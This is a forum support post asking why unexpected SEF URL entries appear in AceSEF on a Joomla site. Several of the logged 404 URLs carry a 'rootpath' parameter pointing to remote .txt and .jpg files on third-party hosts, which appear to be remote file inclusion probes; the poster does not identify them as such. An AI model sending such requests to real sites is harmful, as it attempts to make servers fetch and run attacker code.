Strange SEF URLS

Hi Denis,

I am getting some interesting SEF URLS added. I was wondering if you could provide me with an idea why. AceSEF 1.3.11

I use the custom 404 page. The SEF/real url for the 404 page, set as (Used) is:
en/404        index.php?option=com_content&id=83&lang=en&view=article

There are a few other real urls that are showing up in the SEF URL page with the same SEF url as the used 404 url. They are as follows:

en/404     index.php?option=com_content&Itemid=99999&id=83&lang=en&rootpath=http%3A%2F%2Fmobiroom.com.ua%2F%2Fadministrator%2Fcomponents%2Fcom_virtuemart%2Flogs%2F%2Fbyz9991.txt%3F%3F%

en/404     index.php?option=com_content&Itemid=99999&id=83&lang=en&rootpath=http%3A%2F%2Fwww.thw-recklinghausen.de%2F%2Fe107_themes%2Fbyz9991.txt%3F%3F%3F&view=article

en/404     index.php?option=com_content&Itemid=99999&cms=Array&id=83&lang=en&view=article

en/404     index.php?option=com_content&Itemid=99999&id=83&lang=en&rootpath=http%3A%2F%2Firishsetter.us%2Fbaner.txt%3F%3F&view=article

en/404     index.php?option=com_content&Itemid=99999&id=83&lang=en&rootpath=http%3A%2F%2Fwww.facetraveller.com%2Fe107_plugins%2Fimage1.jpg%3F%3F&view=article

en/404     index.php?option=com_content&Itemid=99999&id=83&lang=en&rootpath=http%3A%2F%2Ffaci.obihiro.ac.jp%2Fuploads%2Fbyz9991.txt%3F%3F%3F&view=article

en/404     index.php?option=com_content&Itemid=99999&id=83&lang=en&view=article

I am also getting some new entries in the SEF Url List for duplicates of my homepage SEF url. The SEF/real url for my home page, set as (Used) is:
en        index.php?option=com_content&Itemid=1&lang=en&view=frontpage

Here are the additional URL's showing up with the same SEF url as my homepage:
en     index.php?option=com_content&lang=en&view=frontpage

en     index.php?option=com_contact&Itemid=3&lang=en

en     index.php?option=com_weblinks&Itemid=23&lang=en

en     index.php?option=com_weblinks&Itemid=23&catid=13&lang=en

en     index.php?option=com_weblinks&Itemid=23&catid=26&lang=en

en     index.php?option=com_contact&catid=&lang=en&view=category

Let me know what you think.

Thanks!